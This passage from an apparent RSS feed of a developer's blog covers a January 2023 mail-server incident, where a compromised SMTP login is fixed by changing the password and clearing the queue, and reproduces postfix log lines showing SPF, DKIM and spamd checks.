&lt;p&gt;The &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/var/log/mail.log&lt;/span&gt;&lt;/code&gt; shows lines like these:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;22461&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;B8D82268DF&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;172.245.249.148&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;sasl_method&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;LOGIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sasl_username&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;xxxxx&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;We changed the password of that user to a secure one. We removed the mails that
were still waiting in the mail queue. Then we told OVH to remove their block. I
am confident that this was the explanation.&lt;/p&gt;
&lt;p&gt;Hannes isn’t yet convinced that dnswl.org are innocent.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0123.html</guid><pubDate>Mon, 23 Jan 2023 00:00:00 +0000</pubDate></item><item><title>Sunday, January 22, 2023</title><link>https://luc.lino-framework.org/blog/2023/0122.html</link><description>&lt;section id="sunday-january-22-2023"&gt;
&lt;h1&gt;Sunday, January 22, 2023&lt;a class="headerlink" href="#sunday-january-22-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Here is the /var/log/mail.log.1 of postfix on SR:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16463&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;hostname&lt;/span&gt; &lt;span class="n"&gt;hosted&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;by&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rootlayer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt; &lt;span class="n"&gt;does&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;resolve&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;address&lt;/span&gt; &lt;span class="mf"&gt;45.137.22.186&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16463&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;45.137.22.186&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;policyd&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;spf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16467&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;prepend&lt;/span&gt; &lt;span class="n"&gt;Received&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;SPF&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Softfail&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mailfrom&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;identity&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;mailfrom&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;45.137.22.186&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;helo&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;hosted&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;by&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rootlayer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;envelope&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;cw4826878&lt;/span&gt;&lt;span class="nd"&gt;@gmail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;receiver&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;UNKNOWN&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16463&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;224&lt;/span&gt;&lt;span class="n"&gt;AF21672&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;45.137.22.186&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cleanup&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16471&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;224&lt;/span&gt;&lt;span class="n"&gt;AF21672&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="mf"&gt;20230121230341.2&lt;/span&gt;&lt;span class="n"&gt;BAFFC26FBE2B2BA&lt;/span&gt;&lt;span class="nd"&gt;@gmail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;opendkim&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;627&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;224&lt;/span&gt;&lt;span class="n"&gt;AF21672&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;45.137.22.186&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;45.137.22.186&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;internal&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;opendkim&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;627&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;224&lt;/span&gt;&lt;span class="n"&gt;AF21672&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;authenticated&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;opendkim&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;627&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;224&lt;/span&gt;&lt;span class="n"&gt;AF21672&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;signature&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;qmgr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;28134&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;224&lt;/span&gt;&lt;span class="n"&gt;AF21672&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;cw4826878&lt;/span&gt;&lt;span class="nd"&gt;@gmail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1938&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nrcpt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt; &lt;span class="n"&gt;active&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16463&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;disconnect&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;45.137.22.186&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;ehlo&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;rcpt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;quit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;commands&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;spamc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16474&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;spamd&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;failed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;retrying&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="c1"&gt;#1 of 3): Connection refused&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;spamc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16474&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;spamd&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="mf"&gt;127.0.0.1&lt;/span&gt; &lt;span class="n"&gt;failed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;retrying&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="c1"&gt;#1 of 3): Connection refused&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;spamc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16474&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;spamd&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;failed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;retrying&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="c1"&gt;#2 of 3): Connection refused&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;spamc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16474&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;spamd&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="mf"&gt;127.0.0.1&lt;/span&gt; &lt;span class="n"&gt;failed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;retrying&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="c1"&gt;#2 of 3): Connection refused&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;spamc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16474&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;spamd&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;failed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;retrying&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="c1"&gt;#3 of 3): Connection refused&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;spamc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16474&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;spamd&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="mf"&gt;127.0.0.1&lt;/span&gt; &lt;span class="n"&gt;failed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;retrying&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="c1"&gt;#3 of 3): Connection refused&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;spamc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16474&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt; &lt;span class="n"&gt;attempt&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;spamd&lt;/span&gt; &lt;span class="n"&gt;aborted&lt;/span&gt; &lt;span class="n"&gt;after&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="n"&gt;retries&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16472&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;224&lt;/span&gt;&lt;span class="n"&gt;AF21672&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;relay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;spamassassin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;2.7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delays&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.6&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.02&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dsn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;2.0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span 